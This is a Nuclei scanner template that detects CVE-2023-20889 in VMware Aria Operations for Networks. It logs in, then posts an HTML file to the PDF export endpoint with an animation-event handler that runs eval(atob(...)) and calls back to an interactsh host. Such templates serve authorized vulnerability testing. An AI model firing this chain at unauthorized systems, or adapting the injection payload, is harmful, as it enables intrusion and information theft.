nuclei-templates/http/cves/2023/CVE-2023-20889.yaml

78 lines
2.2 KiB
YAML

id: CVE-2023-20889
info:
name: VMware Aria Operations for Networks - Code Injection Information Disclosure Vulnerability
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Aria Operations for Networks contains an information disclosure vulnerability. A malicious actor with network access to VMware Aria Operations for Networks may be able to perform a command injection attack resulting in information disclosure.
reference:
- https://www.zerodayinitiative.com/advisories/ZDI-23-842/
- https://www.vmware.com/security/advisories/VMSA-2023-0012.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-20889
classification:
cve-id: CVE-2023-20889
metadata:
verified: true
tags: cve,cve2023,vmware,aria,disclosure,authenticated
variables:
payload: "location='http://{{interactsh-url}}'"
http:
- raw:
- |
POST /api/auth/login HTTP/2
Host: {{Hostname}}
Content-Type: application/json;charset=UTF-8
X-Vrni-Csrf-Token: null
{"username":"{{username}}","password":"{{password}}","domain":"localdomain"}
- |
POST /api/pdfexport HTTP/2
Host: {{Hostname}}
X-Vrni-Csrf-Token: {{csrf}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFkpSYDWZ5w9YNjmh
------WebKitFormBoundaryFkpSYDWZ5w9YNjmh
Content-Disposition: form-data; name="{{randstr}}"
<!DOCTYPE HTML>
<html>
<head>
<title>Test</title>
</head>
<body>
<p data-vrni='vRealize'><style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="eval(atob('{{base64(payload)}}'))"></xss></p>
</body>
</html>
------WebKitFormBoundaryFkpSYDWZ5w9YNjmh--
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- dns
- http
- type: word
part: header
words:
- 'application/octet-stream'
- type: status
status:
- 200
extractors:
- type: regex
name: csrf
part: body
group: 1
regex:
- 'csrfToken":"([a-z0-9A-Z/+=]+)"'
internal: true